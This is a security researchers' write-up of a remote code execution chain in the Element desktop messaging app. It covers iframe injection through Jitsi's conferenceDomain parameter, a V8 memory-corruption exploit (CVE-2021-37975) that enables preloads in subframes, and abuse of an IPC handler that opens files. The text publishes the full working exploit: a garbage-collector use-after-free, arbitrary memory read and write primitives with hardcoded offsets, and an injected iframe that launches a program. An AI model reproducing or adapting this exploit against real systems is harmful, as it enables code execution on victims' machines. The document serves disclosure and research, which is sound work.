Note
Want to secure your Electron or JavaScript application? Reach out to us at hello@electrovolt.io or visit https://hacktron.ai to learn more.
Introduction
During our Electron Desktop Application hacking frenzy, Pew informed me on Discord about a Desktop Application called Element in which he was able to insert an external iframe. We began examining the Element source code, which is public here, and eventually succeeded in Remote Code Execution.
Let’s dig into the details of the bug right away!
Bug 1: iframe injection
This is a feature, rather than a bug. Element supports Jitsi for conference calls, which provides options for self-hosting your own server. According to its documentation, the conferenceDomain
query parameter can be provided to embed an self-hosting conference server. Furthermore, the documentation also mentions that “The URL is typically something we shove into an iframe with ‘sandboxing’”. Since it was “sandboxed” it won’t be an issue right… right?
Here is the PoC for the web application. The following URL can be used to embed an external site named pwn.af:
Here is the desktop application PoC:
By using the above PoC, we can get JavaScript execution on the desktop app. The issue, however, is that the Element Desktop application fully enables sandboxing. As you can noticed in the below script, sandboxing is enabled via app.enableSandbox()
. Also note that nodeIntegrationInSubFrames
is disabled by default:
app.enableSandbox(); global.mainWindow = new BrowserWindow({ [...] webPreferences: { preload: preloadScript, nodeIntegration: false, //sandbox: true, // We enable sandboxing from app.enableSandbox() above contextIsolation: true, webgl: true, },
This situation is different from the previous Discord bug where sandboxing was not fully enabled.
There are a few things we can look for if sandboxing is disabled on the main window:
- Check if there are any
new-window
ornavigation
misconfigurations similar to the Discord bug. - Check if there are any
postMessage
issues on the main frame. - Find an XSS on the subdomain of the parent window (app.element.io) to perform
same-origin
spoofing (similar to this challenge I gave in BSides Ahmedabad CTF). - Finally, we can look for sensitive
ipcMain
handlers on the main window, which can be reached through CVE-2022-29247 (which we reported to Electron).
Now, the only option we have is option 4, as the app is fully sandboxed. To achieve RCE, we will need to utilize the following.
Bug 2: Finding RCE sinks on the desktop app
After grepping for ipcMain.on
and ipcMain.handle
, we came across an interesting IPC handler defined to open user-downloaded files, located here:
ipcMain.on('userDownloadOpen', function(ev: IpcMainEvent, { path }) { shell.openPath(path);});
And, this is exposed to the main window’s parent frame using the preload script’s contextBridge as below:
contextBridge.exposeInMainWorld( "electron", { on(channel: string, listener: (event: IpcRendererEvent, ...args: any[]) => void): void { if (!CHANNELS.includes(channel)) { console.error(`Unknown IPC channel ${channel} ignored`); return; } ipcRenderer.on(channel, listener); }, send(channel: string, ...args: any[]): void { if (!CHANNELS.includes(channel)) { console.error(`Unknown IPC channel ${channel} ignored`); return; } ipcRenderer.send(channel, ...args); }, },);
So, by sending the following IPC from the main frame, we achieve RCE:
electron.send('userDownloadOpen', { path: 'C:\\Windows\\System32\\calc.exe' })
Now, let’s consider our options on how to get access to electron.send
from the iframe which we have XSS on.
- Get an XSS on the main window and access
electron.send
directly. - Use CVE-2022-29247’s
nodeIntegrationInSubFrames
and get access toelectron.send
in our iframe.
We audited the main window’s JavaScript for XSS sinks, but we couldn’t find anything interesting. So, we decided to use the second option, which seems to be easily achieved as the Element Desktop is using an old version of Electron (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Element/1.9.5 Chrome/91.0.4472.164 Electron/13.5.1 Safari/537.36
).
What is nodeIntegrationInSubFrames?
It is important to understand what nodeIntegrationSubFrames
is clearly, from the official Electron Documentation the nodeIntegrationInSubFrames
webPreference
is defined as follows:
nodeIntegrationInSubFrames
: Experimental option for enabling Node.js support in sub-frames such as iframes and child windows. All your preloads will load for every iframe, you can useprocess.isMainFrame
to determine if you are in the main frame or not.
The important thing to note in the above statement for our exploit is that the nodeIntegrationSubFrames
enables preloads in iframes, in other words it exposes contextBridge
APIs to the iframes and child windows. Which is what we exactly wanted to get access to electron.send
exposed by the Element Desktop Main window preload JS.
The situation we have can be described with the below picture:
As you, can see our frame doesn’t have access to electron.send
API.
Bug 3: Renderer exploit to enable nodeIntegrationInSubFrames (CVE-2022-29247)
Electron adds Electron-specific WebPreferences
such as node_integration
, context_isolation
and node_integration_in_subframes
by patching the blink WebPreferences
. These preferences are then later used to check if the specific RenderFrame
(a web frame) has access to Electron specific features, such as Node APIs, preload scripts, contextBridge
, etc.
--- a/third_party/blink/common/web_preferences/web_preferences.cc+++ b/third_party/blink/common/web_preferences/web_preferences.cc@@ -142,6 +142,19 @@ WebPreferences::WebPreferences() fake_no_alloc_direct_call_for_testing_enabled(false), v8_cache_options(blink::mojom::V8CacheOptions::kDefault), record_whole_document(false),+ // Begin Electron-specific WebPreferences.+ context_isolation(false),+ is_webview(false),+ hidden_page(false),+ offscreen(false),+ node_integration(false),+ node_integration_in_worker(false),+ node_integration_in_sub_frames(false),+ enable_spellcheck(false),+ enable_plugins(false),+ enable_websql(false),+ webview_tag(false),+ // End Electron-specific WebPreferences. cookie_enabled(true), accelerated_video_decode_enabled(false), animation_policy(
Let’s just concentrate on node_integration_in_sub_frames
, which is needed for our Element RCE. The other WebPreferences
exploitations will be described in coming blog posts.
The decision to either allow preloads in child frames (RenderFrame
s) takes place in ElectronRenderFrameObserver:DidInstallConditionalFeatures
, which is done in the same renderer process instead of the browser process:
void ElectronSandboxedRendererClient::DidCreateScriptContext( v8::Handle<v8::Context> context, content::RenderFrame* render_frame) { RendererClientBase::DidCreateScriptContext(context, render_frame);
// Only allow preload for the main frame or // For devtools we still want to run the preload_bundle script // Or when nodeSupport is explicitly enabled in sub frames bool is_main_frame = render_frame->IsMainFrame(); bool is_devtools = IsDevTools(render_frame) || IsDevToolsExtension(render_frame); bool allow_node_in_sub_frames = render_frame->GetBlinkPreferences().node_integration_in_sub_frames; bool should_load_preload = (is_main_frame || is_devtools || allow_node_in_sub_frames) && !IsWebViewFrame(context, render_frame); if (!should_load_preload) return;
injected_frames_.insert(render_frame); // ...}
As the check is done in the renderer process, using a renderer exploit the setting can be flipped which effectively enables nodeIntegrationInSubFrames
.
The only thing which is left is to write an exploit which flips the render_frame->GetBlinkPreferences().node_integration_in_sub_frames
somehow, which is the hardest part for me.
Using a v8 exploit (CVE-2021-37975)
I decided to use CVE-2021-37975 to exploit the issue. Having not so much experience in exploit development, this was the most tiring yet most interesting part for me. Fun fact, I didn’t know nothing about v8 binary exploitation before our research, and somehow was able to learn basic v8 exploitation thanks to my CTF mate ptr-yudai 😌. Even though we usually use an public v8 exploit, it’s not as easy as running it and popping the calculator. The hardest part I faced during the exploit writing was finding the render_frame_
offset from the window
object, as it was usually not stable because of naive usage of hardcoded offsets. I spent days in lldb
to understand the v8 bug and find offsets to blink WebPreferences
, but popping the calculator in the end made it worth doing.
Anywho, after trying for 2 days I was able to pull off a full exploit. The following snippet reveals the offset to render_frame->GetBlinkPreferences().node_integration_in_sub_frames
. You can find the full exploit at the end of the writeup:
var win = addrof(window)console.log('[+] win address : ' + win.hex())
var addr1 = half_read(win + 0x18n)console.log('[+] win + 0x18 : ' + addr1.hex())
var addr2 = full_read(addr1 + 0xf8n)console.log('[+] add2: ' + addr2.hex())
var web_pref = addr2 + 0x50008nvar preload = full_read(web_pref + 0x1a0n)console.log('[+] web_pref addr: ' + web_pref.hex())
var nisf = web_pref + 0x1acnvar nisf_val = full_read(nisf)console.log('[+] nisf val = ' + nisf_val.hex())var overwrite = nisf_val | 0x0000000000000001n //overwritefull_write(nisf, overwrite)var nisf_val = full_read(nisf)console.log('[+] nisf val overwritten = ' + nisf_val.hex())
And finally, after enabling nodeIntegrationInSubFrames
, we just need to create a same-origin
RenderFrame
, which will have access to electron.send
🔥:
frame = document.createElement('iframe')frame.srcdoc = "<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>"document.body.appendChild(frame)
PoC
We can diagram the final exploit as follows:
Here is a video of the exploit in action:
Here is the full exploit:
<html> <head></head> <b>pwn</b> <button onclick="pwn()">click me to pwn</button> <script> function sleep(miliseconds) { var currentTime = new Date().getTime() while (currentTime + miliseconds >= new Date().getTime()) {} }
var initKey = { init: 1 } var level = 4 var map1 = new WeakMap() var gcSize = 0x4fe00000 var sprayParam = 100
var dbl = [1.1, 1.1, 1.1, 1.1] // %DebugPrint(dbl);
//Get mapAddr using DebugPrint for double array (the compressed address of the map) // var mapAddr = 0x824a8e1; // var mapAddr = 0x82830e1 var mapAddr = 0x83430e1
var rwxOffset = 0x60
var code = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11, ]) var module = new WebAssembly.Module(code) var instance = new WebAssembly.Instance(module) var wasmMain = instance.exports.main // %DebugPrint(instance); //Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc function hideWeakMap(map, level, initKey) { let prevMap = map let prevKey = initKey for (let i = 0; i < level; i++) { let thisMap = new WeakMap() prevMap.set(prevKey, thisMap) let thisKey = { h: i } //make thisKey reachable via prevKey thisMap.set(prevKey, thisKey) prevMap = thisMap prevKey = thisKey if (i == level - 1) { let retMap = new WeakMap() map.set(thisKey, retMap) return thisKey } } } //Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens function getHiddenKey(map, level, initKey) { let prevMap = map let prevKey = initKey for (let i = 0; i < level; i++) { let thisMap = prevMap.get(prevKey) let thisKey = thisMap.get(prevKey) prevMap = thisMap prevKey = thisKey if (i == level - 1) { return thisKey } } }
function setUpWeakMap(map) { // for (let i = 0; i < 1000; i++) new Array(300); //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking let hk = hideWeakMap(map, level, initKey) //Round 1 maps let hiddenMap = map.get(hk) let map7 = new WeakMap() let map8 = new WeakMap()
//hk->k5, k5: discover->wl let k5 = { k5: 1 } let map5 = new WeakMap() let k7 = { k7: 1 } let k9 = { k9: 1 } let k8 = { k8: 1 } let ta = new Uint8Array(1024) ta.fill(0xfe) let larr = new Array(1 << 15) larr.fill(1.1) let v9 = { ta: ta, larr: larr } map.set(k7, map7) map.set(k9, v9)
//map3 : kb|vb: initial discovery ->wl hiddenMap.set(k5, map5) hiddenMap.set(hk, k5)
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl //iter3: wl: map5 : mark map7, k7, no discovery, iter end map5.set(hk, k7)
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl //iter1
//wl discovers map8, and mark k8 black map7.set(k8, map8) map7.set(k7, k8)
//discovery moves k8, map8 into wl //iter2 marks k9 black, iter finished map8.set(k8, k9) }
var conversion_buffer = new ArrayBuffer(8) var float_view = new Float64Array(conversion_buffer) var int_view = new BigUint64Array(conversion_buffer) BigInt.prototype.hex = function () { return '0x' + this.toString(16) } BigInt.prototype.i2f = function () { int_view[0] = this return float_view[0] } Number.prototype.f2i = function () { float_view[0] = this return int_view[0] }
var view = new ArrayBuffer(24) var dblArr = new Float64Array(view) var intView = new Int32Array(view) var bigIntView = new BigInt64Array(view)
function ftoi32(f) { dblArr[0] = f return [intView[0], intView[1]] }
function i32tof(i1, i2) { intView[0] = i1 intView[1] = i2 return dblArr[0] }
function itof(i) { bigIntView = BigInt(i) return dblArr[0] }
function ftoi(f) { dblArr[0] = f return bigIntView[0] }
BigInt.prototype.hex = function () { return '0x' + this.toString(16) }
Number.prototype.hex = function () { return '0x' + this.toString(16) }
function gc() { //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap) new ArrayBuffer(gcSize) }
function restart() { //Should deopt main if it gets optimized global.__proto__ = {} gc() sleep(2000) pwn() }
function pwn() { setUpWeakMap(map1) gc()
let objArr = []
for (let i = 0; i < sprayParam; i++) { let thisArr = new Array(1 << 15) objArr.push(thisArr) } //These are there to stop main being optimized by JIT globalIdx['a' + globalIdx] = 1 //Can't refactor this, looks like it cause some double rounding problem (got optimized?) for (let i = 0; i < objArr.length; i++) { let thisArr = objArr[i] thisArr.fill(instance) } globalIdx['a' + globalIdx + 1000] = 1 let result = null try { result = fetch() } catch (e) { console.log('fetch failed') restart() return } if (!result) { console.log('fail to find object address.') restart() return } let larr = result.larr let index = result.idx
let instanceAddr = ftoi32(larr[index])[0] let instanceFloatAddr = larr[index] console.log( 'found instance address: 0x' + instanceAddr.toString(16) + ' at index: ' + index, ) let x = {} for (let i = 0; i < objArr.length; i++) { let thisArr = objArr[i] thisArr.fill(x) }
globalIdx['a' + globalIdx + 5000] = 1
larr[index] = instanceFloatAddr let objArrIdx = -1 let thisArrIdx = -1 for (let i = 0; i < objArr.length; i++) { globalIdx['a' + globalIdx + 3000] = 1 global.__proto__ = {} let thisArr = objArr[i] for (let j = 0; j < thisArr.length; j++) { let thisObj = thisArr[j] if (thisObj == instance) { console.log('found window object at: ' + i + ' index: ' + j) objArrIdx = i thisArrIdx = j } } } globalIdx['a' + globalIdx + 4000] = 1 if (objArrIdx == -1) { console.log('failed getting fake object index.') restart() return } let obj_arr = objArr[objArrIdx] let double_arr = larr
//%DebugPrint(objArr[objArrIdx][thisArrIdx]);
function addrof(obj) { obj_arr.fill(obj) return (double_arr[index].f2i() & 0xffffffffn) - 1n }
function fakeobj(addr) { globalIdx['a' + globalIdx + 2001] = 1
larr[index] = addr return objArr[objArrIdx][thisArrIdx] }
globalIdx['a' + globalIdx + 2000] = 1
// Fake map let addr_proto = addrof(Array.prototype) console.log('[+] addr_proto = ' + addr_proto.hex()) let fake_map = [ 0x1604040408042119n.i2f(), 0x0a0004002100043dn.i2f(), (addr_proto | 1n).i2f(), ]
//%DebugPrint(fake_map); let addr_map = addrof(fake_map) + 0x74n if (addr_map % 8n != 0) addr_map -= 4n //for some reason it should %8 = 0 console.log('[+] fake map: ' + addr_map.hex())
let obj = [1.1, 1.1, 1.1] //%DebugPrint(obj);
let addr = Number(addrof(obj)) | 1
let objEleAddr = addr + 0x18 + 0x8 let floatAddr = i32tof(objEleAddr, objEleAddr) let floatMapAddr = i32tof(Number(addr_map) | 1, Number(addr_map) | 1) //Faking an array at using obj[0] and obj[1] obj[0] = floatMapAddr // let eleLength = i32tof(instanceAddr + rwxOffset, 10); //fake object at element of obj larr[index] = floatAddr let fakeArray = objArr[objArrIdx][thisArrIdx]
function half_read(addr) { // let element = i32tof(addr-8, 10);//-8 exact addr let element = (0x888800000001n | (addr - 8n)).i2f() obj[1] = element return fakeArray[0].f2i() } function half_write(addr, value) { // let element = i32tof(addr-8, 10); let element = (0x888800000001n | (addr - 8n)).i2f() obj[1] = element fakeArray[0] = value.i2f() }
//full read write let evil = new Float64Array(0x10) let addr_evil = addrof(evil) console.log('[+] addr_evil = ' + addr_evil.hex()) let orig_evil = half_read(addr_evil + 0x28n) console.log('[+] backing store of typed array: ' + orig_evil.hex()) function full_read(addr) { half_write(addr_evil + 0x28n, addr) return evil[0].f2i() } function full_write(addr, value) { half_write(addr_evil + 0x28n, addr) evil[0] = value.i2f() } function full_cleanup() { half_write(addr_evil + 0x28n, orig_evil) }
var win = addrof(window) console.log('[+] win address : ' + win.hex())
var addr1 = half_read(win + 0x18n) console.log('[+] win + 0x18 : ' + addr1.hex())
var addr2 = full_read(addr1 + 0xf8n) console.log('[+] add2: ' + addr2.hex())
var web_pref = addr2 + 0x50008n var preload = full_read(web_pref + 0x1a0n) console.log('[+] web_pref addr: ' + web_pref.hex())
console.log('[+] preload addr: ' + preload.hex())
var ciso = web_pref + 0x184n var nisf = web_pref + 0x1acn var nisf_val = full_read(nisf) console.log('[+] nisf val = ' + nisf_val.hex()) var overwrite = nisf_val | 0x0000000000000001n full_write(nisf, overwrite) var nisf_val = full_read(nisf) console.log('[+] nisf val overwritten = ' + nisf_val.hex())
// var ciso_val = full_read(ciso); // console.log("[+] ciso val = "+ ciso_val.hex()); // var overwrite = ciso_val & (0xffffffffffffff00n); // full_write(ciso, overwrite); // var nisf_val = full_read(ciso); // console.log("[+] ciso val overwritten = "+ ciso_val.hex());
frame = document.createElement('iframe') frame.srcdoc = "<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>" document.body.appendChild(frame) }
function findTA(ta) { let found = false for (let i = 0; i < 16; i++) { if (ta[i] != 0xfe) { console.log(ta[i]) return true } } console.log(ta[0]) return found }
function findLArr(larr) { for (let i = 0; i < 1 << 15; i++) { if (larr[i] != 1.1) { let addr = ftoi32(larr[i]) return i } } return -1 }
function fetch() { let hiddenKey = getHiddenKey(map1, level, initKey) let hiddenMap = map1.get(hiddenKey) let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey) let k8 = map1.get(k7).get(k7) let map8 = map1.get(k7).get(k8)
let larr = map1.get(map8.get(k8)).larr let index = findLArr(larr) if (index == -1) { return } return { larr: larr, idx: index } } global = {} globalIdx = 0 pwn() </script></html>